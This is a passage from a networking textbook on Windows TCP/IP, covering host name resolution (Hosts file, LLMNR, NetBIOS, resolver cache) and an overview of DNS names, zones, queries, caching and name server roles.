addresses, as specified by Requests for Comments
(RFCs) 1001 and 1002. The Microsoft implementation
of an NBNS is a Windows Internet Name Service
(WINS) server.
Local broadcast
Up to three NetBIOS Name Query Request messages
are broadcast on the local subnet to resolve the IPv4
address of a specified NetBIOS name.
Lmhosts file
A local text file that maps NetBIOS names to IPv4
addresses for NetBIOS processes running on
computers located on remote subnets.
Table 7-2 Windows-Specific Methods of Host Name Resolution
Resolving Names with a Hosts File
TCP/IP for Windows does not search the Hosts file directly when performing name resolution. Rather,
the entries in the Hosts file are automatically loaded into the DNS client resolver cache. Therefore, the
process of resolving a host name with the Hosts file for a Windows-based computer is the following:
1. Host name resolution begins when a user uses a Windows Sockets application and specifies the host
name assigned to the destination host. Windows checks whether the host name matches the local
host name.
If the host name is the same as the local host name, the host name is resolved to an IP address that
is assigned to the local host, and the name resolution process stops.
2. If the host name is not the same as the local host name, Windows searches the DNS client resolver
cache for an entry containing the host name.
If Windows does not find the host name in the DNS client resolver cache and no other name
resolution methods are configured or enabled (such as DNS or NetBIOS name resolution methods),
the name resolution process stops, and an error condition is indicated to the Windows Sockets
application, which then typically displays an error message to the user.
If Windows finds the host name in the DNS client resolver cache, the host name is resolved to the IP
address that corresponds to the entry in the cache.
3. After the host name is resolved to a destination IP address, Windows forwards the packet to the next-
hop IP address for the destination (either the destination or a neighboring router).
Chapter 7 – Host Name Resolution
TCP/IP Fundamentals for Microsoft Windows
Page: 206
Unlike the Lmhosts file, which is used for remote NetBIOS-based hosts and IPv4 addresses only, the
Hosts file maps host names of both neighboring and remote hosts to their IPv4 or IPv6 addresses.
Resolving Names with LLMNR
LLMNR is a new protocol defined in RFC 4795 that provides an additional method to resolve the names
of neighboring computers. LLMNR uses a simple exchange of request and reply messages to resolve
computer names to IPv4 or IPv6 addresses.
LLMNR allows name resolution on networks where a DNS server is not present or practical. A good
example is the temporary subnet formed by a group of computers that form an ad hoc IEEE 802.11
wireless network. With LLMNR, hosts in the ad hoc wireless network can resolve each other’s computer
names without having to configure one of the computers as a DNS server and the other computers with
the IP address of the computer acting as the DNS server.
For LLMNR messages sent over IPv4, a querying host sends a LLMNR Name Query Request message
to the IPv4 multicast address of 224.0.0.252. For LLMNR messages sent over IPv6, a querying host (a
requestor) sends an LLMNR Name Query Request message to the IPv6 multicast address of
FF02::1:3.
The typical LLMNR message exchange for a name query consists of a multicast query and, if a host on
the subnet is authoritative for the requested name, a unicast response to the requestor.
Resolving Names with a DNS Server
DNS is a distributed, hierarchical naming system that is used on the Internet and in most intranets to
resolve fully qualified domain names (FQDNs) to IP addresses. An example of an FQDN is
www.microsoft.com. A DNS server typically maintains information about a portion of the DNS
namespace, such as all the names ending with wcoast.example.com, and resolves DNS name queries
for DNS client computers, either itself or by querying other DNS servers. Computers running Windows
can act as DNS clients, and a computer running Windows Server 2008 or Windows Server 2003 can
act as a DNS server to resolve names on behalf of a DNS client or other DNS servers.
If TCP/IP for Windows is configured with the IP address of a DNS server, the name resolution process
is as follows:
1. When a user uses a Windows Sockets application and specifies an FQDN for the destination host
and the FQDN does not match the local host name or any entries in the DNS client resolver cache,
the DNS client component of TCP/IP for Windows constructs and sends a DNS Name Query
Request message to the DNS server.
2. The DNS server determines whether a mapping for the name to an IP address is stored either locally
or on another DNS server. Whether or not a mapping is found, the DNS server sends back a DNS
Name Query Response message to the DNS client.
If the DNS server does not respond to the request, the DNS client sends additional DNS Name
Query Request messages. If the DNS server does not respond to any of the attempts, no other DNS
servers are configured, and NetBIOS over TCP/IP is not enabled, an error condition is indicated to
the Windows Sockets application, which then typically displays an error message to the user.
3. After the FQDN is resolved to a destination IP address, Windows forwards the packet to the next-hop
IP address for the destination (either the destination or a neighboring router).
Chapter 7 – Host Name Resolution
TCP/IP Fundamentals for Microsoft Windows
Page: 207
Windows Methods of Resolving Host Names
If NetBIOS over TCP/IP is enabled, Windows by default attempts to resolve host names using NetBIOS
methods when standard methods fail. NetBIOS name resolution methods include the NetBIOS name
cache, configured WINS servers, NetBIOS broadcasts, and the Lmhosts file.
When an application uses Windows Sockets and either the application or a user specifies a host name,
TCP/IP for Windows attempts to resolve the name in the following order when NetBIOS over TCP/IP is
enabled:
1. Windows checks whether the host name is the same as the local host name.
2. If the host name and local host name are not the same, Windows searches the DNS client resolver
cache.
3. If the host name cannot be resolved using the DNS client resolver cache, Windows sends DNS
Name Query Request messages to its configured DNS servers.
4. If the host name is a single-label name (such as server1) and cannot be resolved using the
configured DNS servers, computers running Windows Vista or Windows Server 2008 send up to two
sets of multicast LLMNR query messages over both IPv4 and IPv6.
5. If the host name is a single-label name and is still not resolved, Windows converts the host name to a
NetBIOS name and checks its local NetBIOS name cache.
Windows creates the 16-byte NetBIOS name by converting the host name, which must be less than
16 bytes long, to uppercase and padding it with space characters if needed to create the first 15
bytes of the NetBIOS name. Then, Windows adds 0x00 as the last byte. Every Windows-based
computer running the Workstation service registers its computer name with a 0x00 as the last byte.
Therefore, the NetBIOS form of the host name will typically resolve to the IPv4 address of the
computer that has a NetBIOS computer name that matches the host name.
If the host name is 16 characters or longer or an FQDN, Windows does not convert it to a NetBIOS
name or try to resolve the host name using NetBIOS techniques.
6. If Windows cannot find the NetBIOS name in the NetBIOS name cache, Windows contacts its
configured WINS servers.
7. If Windows cannot query the WINS servers to resolve the NetBIOS name that corresponds to the
host name, Windows broadcasts as many as three NetBIOS Name Query Request messages on the
directly attached subnet.
8. If Windows cannot use NetBIOS to resolve the NetBIOS name that corresponds to the host name,
Windows searches the local Lmhosts file.
The name resolution process stops when Windows finds the first IP address for the name. If Windows
cannot resolve the host name using any of these methods, name resolution fails, and the only way to
communicate with the destination host is to specify either its IP address or another name associated
with the host that Windows can resolve to an IP address.
Chapter 7 – Host Name Resolution
TCP/IP Fundamentals for Microsoft Windows
Page: 208
The Hosts File
The Hosts file is a common way to resolve a host name to an IP address through a locally stored text
file that contains IP-address-to-host-name mappings. On most UNIX-based computers, this file is
/etc/hosts. On Windows-based computers, this file is the Hosts file in the
systemroot\System32\Drivers\Etc folder.
The following describes the attributes of the Hosts file for Windows:
A single entry consists of an IP (IPv4 or IPv6) address and one or more host names.
The Hosts file is dynamically loaded into the DNS client resolver cache, which Windows Sockets
applications use to resolve a host name to an IP address on both local and remote subnets.
When you create entries in the Hosts file and save it, its contents are automatically loaded into the DNS
client resolver cache.
The Hosts file contains a default entry for the host name localhost.
The Hosts file can be edited with any text editor.
Each host name is limited to 255 characters.
Entries in the Hosts file for Windows–based computers are not case sensitive.
The advantage of using a Hosts file is that users can customize it for themselves. Each user can create
whatever entries they want, including easy-to-remember nicknames for frequently accessed resources.
However, the individual maintenance required for the Hosts file does not scale well to storing large
numbers of FQDN mappings or reflecting changes to IP addresses for servers and network resources.
The solution for the large-scale storage and maintenance of FQDN mappings is DNS. The solution for
the maintenance of FQDN mappings for changing IP addresses is DNS dynamic update.
An entry in the Hosts file has the following format:
Address
Names
The Address portion of the entry is either an IPv4 or IPv6 unicast address. The Names portion of the
entry is one or more names (nicknames or FQDNs) separated by at least one space character. One or
multiple space or tab characters must separate the address from the first name.
IPv4 Entries
For IPv4 entries, the address in the Hosts file entry is a unicast IPv4 address expressed in dotted
decimal notation. For example, the following Hosts file contains IPv4 entries:
#
# Table of IP addresses and host names
#
127.0.0.1 localhost
131.107.34.1 router
172.30.45.121 server1.central.example.com s1
In this example, you can refer to the server at the IPv4 address 172.30.45.121 by its FQDN
(server1.central.example.com) or by its nickname (s1). This example assumes that the IP address for
Chapter 7 – Host Name Resolution
TCP/IP Fundamentals for Microsoft Windows
Page: 209
the server named server1.central.example.com will not change over time. For example, either
server1.central.example.com is manually configured with an IP address configuration or it uses a
Dynamic Host Configuration Protocol (DHCP) client reservation.
IPv6 Entries
For IPv6 entries, the address in the Hosts file entry is a global or site-local IPv6 address expressed in
colon hexadecimal notation. For example, the following Hosts file contains both IPv4 and IPv6 entries:
#
# Table of IP addresses and host names
#
127.0.0.1 localhost
131.107.34.1 router
172.30.45.121 server1.central.example.com s1
2001:DB8::10:2aa:ff:fe21:5a88 tsrvv6.wcoast.example.com ts1
You should not place entries for link-local addresses in the Hosts file because you cannot specify the
zone ID for those addresses. This concept is similar to using the Ping tool to ping a link-local
destination without specifying the zone ID. Therefore, entries in the Hosts file are useful only for global
IPv6 addresses. For more information about IPv6 addresses and the use of the zone ID, see Chapter 3,
“IP Addressing.”
Chapter 7 – Host Name Resolution
TCP/IP Fundamentals for Microsoft Windows
Page: 210
The DNS Client Resolver Cache
The DNS client resolver cache is a RAM-based table that contains both the entries in the Hosts file and
the host names that Windows has tried to resolve through DNS. The DNS client resolver cache stores
entries for both successful and unsuccessful DNS name resolutions. A name that was queried but was
not successfully resolved is known as a negative cache entry.
The following list describes the attributes of the DNS client resolver cache:
It is built dynamically from the Hosts file and from DNS queries.
Entries obtained from DNS queries are kept only for a period of time known as the Time to Live (TTL),
which is set by the DNS server that has the name-to-IP address mapping stored in a local database.
Entries obtained from the Hosts file do not have a TTL and are kept until the entry is removed from the
Hosts file.
You can use the ipconfig /displaydns command to view the contents of the DNS client resolver cache.
You can use the ipconfig /flushdns command to flush and refresh the DNS client resolver cache with
just the entries in the Hosts file.
The following is an example display of the ipconfig /displaydns command:
C:\>ipconfig /displaydns
Windows IP Configuration
localhost.
------------------------------------------------------
Record Name . . . . . : localhost
Record Type . . . . . : 1
Time To Live . . . . : 31165698
Data Length . . . . . : 4
Section . . . . . . . : Answer
A (Host) Record . . . : 127.0.0.1
dc7.corp.example.com.
------------------------------------------------------
Record Name . . . . . : dc7.corp.example.com
Record Type . . . . . : 1
Time To Live . . . . : 852
Data Length . . . . . : 4
Section . . . . . . . : Answer
A (Host) Record . . . : 157.60.23.170
Chapter 7 – Host Name Resolution
TCP/IP Fundamentals for Microsoft Windows
Page: 211
1.0.0.127.in-addr.arpa.
------------------------------------------------------
Record Name . . . . . : 1.0.0.127.in-addr.arpa
Record Type . . . . . : 12
Time To Live . . . . : 31165698
Data Length . . . . . : 4
Section . . . . . . . : Answer
PTR Record . . . . . : localhost
mailsrv15.corp.example.com.
------------------------------------------------------
Record Name . . . . . : mailsrv15.corp.example.com
Record Type . . . . . : 1
Time To Live . . . . : 2344
Data Length . . . . . : 4
Section . . . . . . . : Answer
A (Host) Record . . . : 157.54.16.83
Chapter 7 – Host Name Resolution
TCP/IP Fundamentals for Microsoft Windows
Page: 212
Chapter Summary
The chapter includes the following pieces of key information:
Window Sockets applications use host names or IP addresses when specifying a destination. Host
names must be resolved to an IP address before communication with the destination can begin.
The standard methods of host name resolution include checking the local host name, checking the local
Hosts file, and querying DNS servers. Windows-based hosts also check the DNS client resolver cache,
which contains the entries in the Hosts file.
LLMNR uses multicast query and unicast reply messages to resolve single-label names on a subnet.
Windows-based hosts on which NetBIOS over TCP/IP is enabled also use NetBIOS methods to attempt
to resolve a host name to an IPv4 address.
The Hosts file on a Windows-based computer is stored in the systemroot\System32\Drivers\Etc folder
and can include entries that map IPv4 or IPv6 addresses to host names.
The Hosts file is dynamically loaded into the RAM-based DNS client resolver cache, which also
contains the results of recent DNS name queries.
Chapter 7 – Host Name Resolution
TCP/IP Fundamentals for Microsoft Windows
Page: 213
Chapter Glossary
DNS – See Domain Name System (DNS).
DNS client resolver cache – A RAM-based table that contains both the entries in the Hosts file and the
results of recent DNS name queries.
DNS server – A server that maintains a database of mappings of DNS domain names to various types
of data, such as IP addresses.
Domain Name System (DNS) – A hierarchical, distributed database that contains mappings of DNS
domain names to various types of data, such as IP addresses. DNS enables the specification of
computers and services by user-friendly names, and it also enables the discovery of other information
stored in the database.
Host name – The name of a computer or device on a network. Users specify computers on the network
by their host names. To find another computer, its host name must either appear in the Hosts file or be
known by a DNS server. For most Windows-based computers, the host name and the computer name
are the same.
Host name resolution – The process of resolving a host name to a destination IP address.
Hosts file – A local text file in the same format as the 4.3 BSD UNIX /etc/hosts file. This file maps host
names to IP addresses, and it is stored in the systemroot\System32\Drivers\Etc folder.
Link-local Multicast Name Resolution (LLMNR) – A simple, multicast-based, request-reply protocol that
can resolve single-label host names to IPv4 or IPv6 addresses. LLMNR can be used in the absence of
DNS servers and NetBIOS over TCP/IP.
LLMNR – See Link-local Multicast Name Resolution (LLMNR).
Lmhosts file – A local text file that maps NetBIOS names to IP addresses for hosts that are located on
remote subnets. For Windows-based computers, this file is stored in the
systemroot\System32\Drivers\Etc folder.
negative cache entries – Host names added into the DNS client resolver cache that were queried but
that could not be resolved.
NBNS – See NetBIOS name server (NBNS).
NetBIOS name - A 16-byte name of a process using NetBIOS.
NetBIOS name cache – A dynamically maintained table that resides on a NetBIOS-enabled host and
that stores recently resolved NetBIOS names and their associated IPv4 addresses.
NetBIOS name resolution – The process of resolving a NetBIOS name to an IPv4 address.
NetBIOS name server (NBNS) – A server that stores NetBIOS name to IPv4 address mappings and
resolves NetBIOS names for NetBIOS-enabled hosts. WINS is the Microsoft implementation of a
NetBIOS name server.
Windows Internet Name Service (WINS) – The Microsoft implementation of a NetBIOS name server.
WINS – See Windows Internet Name Service (WINS).
Chapter 7 – Host Name Resolution
TCP/IP Fundamentals for Microsoft Windows
Page: 214
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 215
Chapter 8 – Domain Name System Overview
Abstract
This chapter describes the details of the Domain Name System (DNS) and its use for private intranets and the Internet.
DNS is required to provide name resolution for domain names such as www.example.com for all types of network
applications from Internet browsers to Active Directory. A network administrator's understanding of DNS names,
domains, zones, name server roles, and replication is vital to the configuration and maintenance of a properly
functioning private intranet and the Internet.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 216
Chapter Objectives
After completing this chapter you will be able to:
Define the components of DNS.
Describe the structure and architecture of DNS as it is used on the Internet.
Define the difference between domains and zones.
Define recursive and iterative queries and how DNS forward and reverse lookups work.
Define the various roles of DNS servers.
Describe the common types of DNS resource records.
Describe the different types of zone transfers.
Define DNS dynamic update.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 217
The Domain Name System
The initial solution for name resolution on the Internet was a file named Hosts.txt that was used on the
now obsolete Advanced Research Projects Agency network (ARPANET), the predecessor of the
modern day Internet. When the number of hosts on the ARPANET was small, the Hosts.txt file was
easy to manage because it consisted of unstructured names and their corresponding IPv4 addresses.
Computers on the ARPANET periodically downloaded Hosts.txt from a central location and used it for
local name resolution. As the ARPANET grew into the Internet, the number of hosts began to increase
dramatically and the centralized administration and manual distribution of a text file containing the
names for computers on the Internet became unwieldy.
The replacement for the Hosts.txt file needed to be distributed, to allow for a hierarchical name space,
and require minimal administrative overhead. The original design goal for DNS was to replace the
existing cumbersome, centrally administered text file with a lightweight, distributed database that would
allow for a hierarchical name space, delegation and distribution of administration, extensible data types,
virtually unlimited database size, and reasonable performance.
DNS defines a namespace and a protocol for name resolution and database replication:
The DNS namespace is based on a hierarchical and logical tree structure.
The DNS protocol defines a set of messages sent over either User Datagram Protocol (UDP) port 53 or
Transmission Control Protocol (TCP) port 53. Hosts that originate DNS queries send name resolution
queries to servers over UDP first because it’s faster. These hosts, known as DNS clients, resort to TCP
only if the returned data is truncated. Hosts that store portions of the DNS database, known as DNS
servers, use TCP when replicating database information.
Historically, the most popular implementation of the DNS protocol is Berkeley Internet Name Domain
(BIND), which was originally developed at the University of California at Berkeley for the 4.3 Berkeley
Software Distribution release of the UNIX operating system.
DNS Components
Requests for Comments (RFCs) 974, 1034, and 1035 define the primary specifications for DNS. From
RFC 1034, DNS comprises the following three components:
1. The domain namespace and resource records
DNS defines a specification for a structured namespace as an inverted tree in which each node and
leaf of the tree names a set of information.
Resource records are records in the DNS database that can be used to configure the DNS database
server (such as the Start of Authority [SOA] record) or to contain information of different types to
process client queries (such as Address [A] records or Mail Exchanger [MX] records). Typical
resource records contain resources by name and their IP addresses. Name queries to DNS database
servers are attempts to extract information of a certain type from the namespace. The name query
requests a name of interest and a specific type of record. For example, a name query would provide
a host name and ask for the corresponding IPv4 or IPv6 address.
2. Name servers
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 218
Name servers store resource records and information about the domain tree structure and attempt to
resolve received client queries. DNS database servers, hereafter referred to as name servers or DNS
servers, either contain the requested information in their resource records or have pointer records to
other name servers that can help resolve the client query. If the name server contains the resource
records for a given part of the namespace, the server is said to be authoritative for that part of the
namespace. Authoritative information is organized into units called zones.
3. Resolvers
Resolvers are programs that run on DNS clients and DNS servers and that create queries to extract
information from name servers. A DNS client uses a resolver to create a DNS name query. A DNS
server uses a resolver to contact other DNS servers to resolve a name on a DNS client's behalf.
Resolvers are usually built into utility programs or are accessible through library functions, such as
the Windows Sockets getaddrinfo() or gethostbyname() functions.
DNS Names
DNS names have a very specific structure, which identifies the location of the name in the DNS
namespace. A fully qualified domain name (FQDN) is a DNS domain name that has been constructed
from its location relative to the root of the namespace (known as the root domain). FQDNs have the
following attributes:
FQDNs consist of the series of names from the name of the host or computer to the root domain.
A period character separates each name.
Each FQDN ends with the period character, which indicates the root domain.
Each name within the FQDN can be no more than 63 characters long.
The entire FQDN can be no more than 255 characters long.
FQDNs are not case-sensitive.
RFC 1034 requires the names that make up a FQDN to use only the characters a-z, A-Z, 0-9, and the
dash or minus sign (-). RFC 2181 allows additional characters and is supported by the DNS Server
service in Microsoft Windows Server 2003 operating systems.
Domains and Subdomains
The DNS namespace is in the form of a logical inverted tree structure. Each branch point (or node) in
the tree is given a name that is no more than 63 characters long. Each node of the tree is a portion of
the namespace called a domain. A domain is a branch of the tree and can occur at any point in the tree
structure. Domains can be further partitioned at node points within the domain into subdomains for the
purposes of administration or load balancing. The domain name identifies the domain's position in the
DNS hierarchy. The FQDN identifies the domain relative to the root. You create domain names and
FQDNs by combining the names of the nodes from the designated domain node back to the root and
separating each node with a period (.). The root of the tree has the special reserved name of "" (null),
which you indicate by placing a final period at the end of the domain name (such as
www.sales.example.com.). Domains and subdomains are grouped into zones to allow for distributed
administration of the DNS namespace.
Figure 8-1 shows the DNS namespace as it exists for the Internet.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 219
Figure 8-1 The DNS namespace
Figure 8-1 shows a few of the top-level domains and example hosts in the "microsoft.com." domain. A
trailing period designates a domain name of a host relative to the root domain. To connect to that host,
a user would specify the name "www.microsoft.com." If the user does not specify the final period, the
DNS resolver automatically adds it to the specified name. Individual organizations manage second-level
domains (subdomains of the top level domains) and their name servers. For example, Microsoft
manages the "microsoft.com." domain.
DNS Servers and the Internet
Domains define different levels of authority in a hierarchical structure. The top of the hierarchy is called
the root domain. The DNS namespace on the Internet, as shown in Figure 8-1, has the following
structure:
Root domain
Top-level domains
Second-level domains
The root domain uses a null label, which you write as a single period (.). In the United States, the
Internet Assigned Names Authority (IANA) manages several root domain name servers.
The next level in the hierarchy is divided into a series of nodes called the top-level domains. The top-
level domains are assigned by organization type and by country/region. Some of the more common top-
level domains are the following:
com – Commercial organizations in the United States (for example, microsoft.com for the Microsoft
Corporation).
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 220
edu – Educational organizations in the United States.
gov – United States governmental organizations.
int – International organizations.
mil – United States military organizations.
net - Networking organizations.
org – Noncommercial organizations.
xx – Two-letter country code names that follow the International Standard 3166. For example, “.fr” is the
country code for France.
arpa – Used to store information for DNS reverse queries.
Each top-level domain has name servers that IANA administers. Top-level domains can contain
second-level domains and hosts.
Second-level domains contain the domains and names for organizations and countries/regions. The
names in second-level domains are administered by the organization or country/region either directly
(by placing its own DNS server on the Internet) or by using an Internet service provider (ISP) who
manages the names for an organization or country/region on its customer's behalf.
Zones
A zone is a contiguous portion of a domain of the DNS namespace whose database records exist and
are managed in a particular DNS database file stored on one or multiple DNS servers. You can
configure a single DNS server to manage one or multiple zones. Each zone is anchored at a specific
domain node, referred to as the zone's root domain. Zone files do not necessarily contain the complete
branch (that is, all subdomains) under the zone's root domain. For example, you can partition a domain
into several subdomains, which are controlled by separate DNS servers. You might break up domains
across multiple zone files if you want to distribute management of the domain across different groups or
make data replication more efficient.
Figure 8-2 shows the difference between domains and zones.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 221
Figure 8-2 Domains and zones
In the example, "microsoft.com" is a domain (the entire branch of the DNS namespace that starts with
the microsoft.com. node), but the entire domain is not controlled by one zone file. Part of the domain is
in a zone for "microsoft.com." and part of the domain is in a zone for the "dev.microsoft.com." domain.
These zones correspond to different DNS database files that can reside on the same or different DNS
servers.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 222
Name Resolution
The two types of queries that a DNS resolver (either a DNS client or another DNS server) can make to
a DNS server are the following:
Recursive queries
In a recursive query, the queried name server is requested to respond with the requested data or
with an error stating that data of the requested type or the specified domain name does not exist.
The name server cannot just refer the DNS resolver to a different name server. A DNS client
typically sends this type of query.
Iterative queries
In an iterative query, the queried name server can return the best answer it currently has back to
the DNS resolver. The best answer might be the resolved name or a referral to another name
server that is closer to fulfilling the DNS client's original request. DNS servers typically send
iterative queries to query other DNS servers.
DNS Name Resolution Example
To show how recursive and iterative queries are used for common DNS name resolutions, consider a
computer running Windows Vista, Windows XP, Windows Server 2008, or Windows Server 2003
connected to the Internet. A user types http://www.example.com in the Address field of their
Internet browser. When the user presses the ENTER key, the browser makes a Windows Sockets
function call, either gethostbyname() or getaddrinfo(), to resolve the name http://www.example.com
to an IP address. For the DNS portion of the Windows host name resolution process, the following
occurs:
1. The DNS resolver on the DNS client sends a recursive query to its configured DNS server,
requesting the IP address corresponding to the name "www.example.com". The DNS server for that
client is responsible for resolving the name and cannot refer the DNS client to another DNS server.
2. The DNS server that received the initial recursive query checks its zones and finds no zones
corresponding to the requested domain name; the DNS server is not authoritative for the
example.com domain. Because the DNS server has no information about the IP addresses of DNS
servers that are authoritative for example.com. or com., it sends an iterative query for
www.example.com. to a root name server.
3. The root name server is authoritative for the root domain and has information about name servers
that are authoritative for top-level domain names. It is not authoritative for the example.com. domain.
Therefore, the root name server replies with the IP address of a name server for the com. top-level
domain.
4. The DNS server of the DNS client sends an iterative query for www.example.com. to the name
server that is authoritative for the com. top-level domain.
5. The com. name server is authoritative for the com. domain and has information about the IP
addresses of name servers that are authoritative for second-level domain names of the com. domain.
It is not authoritative for the example.com. domain. Therefore, the com. name server replies with the
IP address of the name server that is authoritative for the example.com. domain.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 223
6. The DNS server of the DNS client sends an iterative query for www.example.com. to the name
server that is authoritative for the example.com. domain.
7. The example.com. name server replies with the IP address corresponding to the FQDN
www.example.com.
8. The DNS server of the DNS client sends the IP address of www.example.com to the DNS client.
Figure 8-3 shows this process.
Figure 8-3 Example of recursive and iterative queries in DNS name resolution
All DNS queries are DNS Name Query Request messages. All DNS replies are DNS Name Query
Response messages.
In practice, DNS servers cache the results of queries on an ongoing basis. If a DNS server finds an
entry matching the current request in its cache, it does not send an iterative DNS query. This example
assumes that no cache entries were in any of the DNS servers to prevent the sending of the iterative
name queries.
Forward lookups are queries in which a DNS client attempts to resolve an FQDN to its corresponding IP
address. Zones that contain FQDN-to-IP address mappings are known as forward lookup zones.
Reverse Queries
In a reverse query, instead of supplying a name and asking for an IP address, the DNS client provides
the IP address and requests the corresponding host name. Reverse queries are also known as reverse
lookups, and zones that contain IP address-to-FQDN mappings are known as reverse lookup zones.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 224
Because you cannot derive the IP address from a domain name in the DNS namespace, only a
thorough search of all domains could guarantee a correct answer. To prevent an exhaustive search of
all domains for a reverse query, reverse name domains and pointer (PTR) resource records were
created.
An example of an application that uses reverse queries is the Tracert tool, which by default uses
reverse queries to display the names of the routers in a routing path. If you are going to use reverse
queries, you must create reverse lookup zones and PTR records when you administer a DNS server so
that reverse queries can be satisfied.
Reverse Queries for IPv4 Addresses
To support reverse lookups for IPv4 addresses, a special domain named in-addr.arpa. was created.
Nodes in the in-addr.arpa domain are named after the numbers in the dotted decimal representation of
IPv4 addresses. But because IPv4 addresses get more specific from left to right and domain names get
more specific from right to left, the order of IPv4 address octets must be reversed when building the in-
addr.arpa domain name corresponding to the IPv4 address. For example, for the generalized IPv4
address w.x.y.z, the corresponding reverse query name is z.y.x.w.in-addr.arpa. IANA delegates
responsibility for administering the reverse query namespace below the in-addr.arpa domain to
organizations as they are assigned IPv4 address prefixes.
Figure 8-4 shows an example of the reverse lookup portion of the DNS namespace.
Figure 8-4 An example of a reverse lookup portion of the DNS namespace
Within the in-addr.arpa domain, special pointer (PTR) resource records are added to associate the IPv4
addresses to their corresponding host names. To find a host name for the IPv4 address 157.54.200.2, a
DNS client sends a DNS query for a PTR record for the name 2.200.54.157.in-addr.arpa. Reverse
queries use the same name resolution process previously described for forward lookups (a combination
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 225
of recursive and iterative queries). The DNS server finds the PTR record that contains the FQDN that
corresponds to the IPv4 address 157.54.200.2 and sends that FQDN back to the DNS client.
Reverse Queries for IPv6 Addresses
IPv6 reverse lookups use the ip6.arpa. domain. To create the domains for reverse queries, each
hexadecimal digit in the fully expressed 32-digit IPv6 address becomes a separate level in the reverse
domain hierarchy in inverse order.
For example, the reverse lookup domain name for the address 2001:db8::1:2aa:ff:fe3f:2a1c (fully
expressed as 2001:0db8:0000:0001:02aa:00ff:fe3f:2a1c) is
c.1.a.2.f.3.e.f.f.f.0.0.a.a.2.0.1.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa.
Just as in IPv4 addresses, PTR records in the reverse IPv6 domain map IPv6 addresses to FQDNs.
Caching and TTL
For each resolved query (either recursive or iterative), the DNS resolver caches the returned
information for a time that is specified in each resource record in the DNS response. This is known as
positive caching. The amount of time in seconds to store the record data in the cache is referred to as
the Time To Live (TTL). The network administrator of the zone that contains the record decides on the
default TTL for the data in the zone. Smaller TTL values help ensure that data about the domain is
more consistent across the network if the zone data changes often. However, this practice also
increases the load on name servers because positive cache entries time out more quickly.
After a DNS resolver caches data, it must start counting down from the received TTL so that it will know
when to remove the data from its cache. For queries that can be satisfied by this cached data, the TTL
that is returned is the current amount of time left before the data is flushed from the DNS cache. DNS
client resolvers also have data caches and honor the TTL value so that they know when to remove the
data.
The DNS Client service in Windows Vista, Windows XP, Windows Server 2008 and Windows
Server 2003 and the DNS Server service in Windows Server 2008 and Windows Server 2003 support
positive caching.
Negative Caching
As originally defined in RFC 1034, negative caching is the caching of failed name resolutions. A failed
name resolution occurs when a DNS server returns a DNS Name Query Response message with an
indication that the name was not found. Negative caching can reduce response times for names that
DNS cannot resolve for both the DNS client and DNS servers during an iterative query process. Like
positive caching, negative cache entries eventually time out and are removed from the cache based on
the TTL in the received DNS Name Query Response message.
The DNS Client service in Windows Vista, Windows XP, Windows Server 2008, and Windows
Server 2003 and the DNS Server service in Windows Server 2008 and Windows Server 2003 support
negative caching.
Round Robin Load Balancing
DNS Name Query Response messages can contain multiple resource records. For example, for a
simple forward lookup, the DNS Name Query Response message can contain multiple Address (A)
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 226
records that contain the IPv4 addresses associated with the desired host. When multiple resource
records for the same resource record type exist, the following issues arise:
For the DNS server, how to order the resource records in the DNS Name Query Response message
For the DNS client, how to choose a specific resource record in the DNS Name Query Response
message
To address these issues, RFC 1794 describes a mechanism named round robin or load sharing to
share and distribute loads for network resources. The central assumption of RFC 1794 is that when
multiple resource records for the same resource record type and the same name exist, multiple servers
are offering the same type of service to multiple users. For example, the www.microsoft.com Web site
is actually hosted by multiple Web servers with different IPv4 addresses. To attempt to distribute the
load of servicing all the users who access www.microsoft.com, the DNS servers that are authoritative
for microsoft.com modify the order of the resource records for the www.microsoft.com name in
successive DNS Name Query Response messages. The DNS client uses the data in the first resource
record in the response.
For example, if there were three A records for www.microsoft.com with the IPv4 addresses of
131.107.0.99, 131.107.0.100, and 131.107.0.101, the round robin scheme works as follows:
For the first request, the order of the resource records in the DNS Name Query Response message is
131.107.0.99-131.107.0.100-131.107.0.101.
For the second request, the order of the resource records in the DNS Name Query Response message
is 131.107.0.100-131.107.0.101-131.107.0.99.
For the third request, the order of the resource records in the DNS Name Query Response message is
131.107.0.101-131.107.0.99-131.107.0.100.
The pattern repeats for subsequent queries. For an arbitrary number of resource records, the rotation
process cycles through the list of resource records.
A DNS server running Windows Server 2008 or Windows Server 2003 that is responding to a recursive
query by default attempts to order the resource records according to the addresses that most closely
match the IP address of the originating DNS client, and you can configure that server for round robin
according to RFC 1794. To determine the addresses that are the closest match to the IPv4 address of
the DNS client, the DNS Server service in Windows Server 2008 and Windows Server 2003 orders the
addresses by using a high-order bit-level comparison of the DNS client's IPv4 address and the IPv4
addresses associated with the queried host name. This comparison technique is similar to the route
determination process, in which IPv4 or IPv6 examines the IPv4 or IPv6 routing table to determine the
route that most closely matches the destination address of a packet being sent or forwarded.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 227
Name Server Roles
DNS servers store information about portions of the domain namespace. When name servers have one
or more zones for which they are responsible, they are said to be authoritative servers for those zones.
Using the example in Figure 8-2, the name server containing the dev.microsoft.com zone is an
authoritative server for dev.microsoft.com.
Configuration of a DNS server includes adding name server (NS) resource records for all the other
name servers that are in the same domain. Using the example on the previous page, if the two zones
were on different name servers, each would be configured with an NS record about the other. These
NS records provide pointers to the other authoritative servers for the domain.
DNS defines two types of name servers, each with different functions:
Primary
A primary name server gets the data for its zones from locally stored and maintained files. To
change a zone, such as adding subdomains or resource records, you change the zone file at the
primary name server.
Secondary
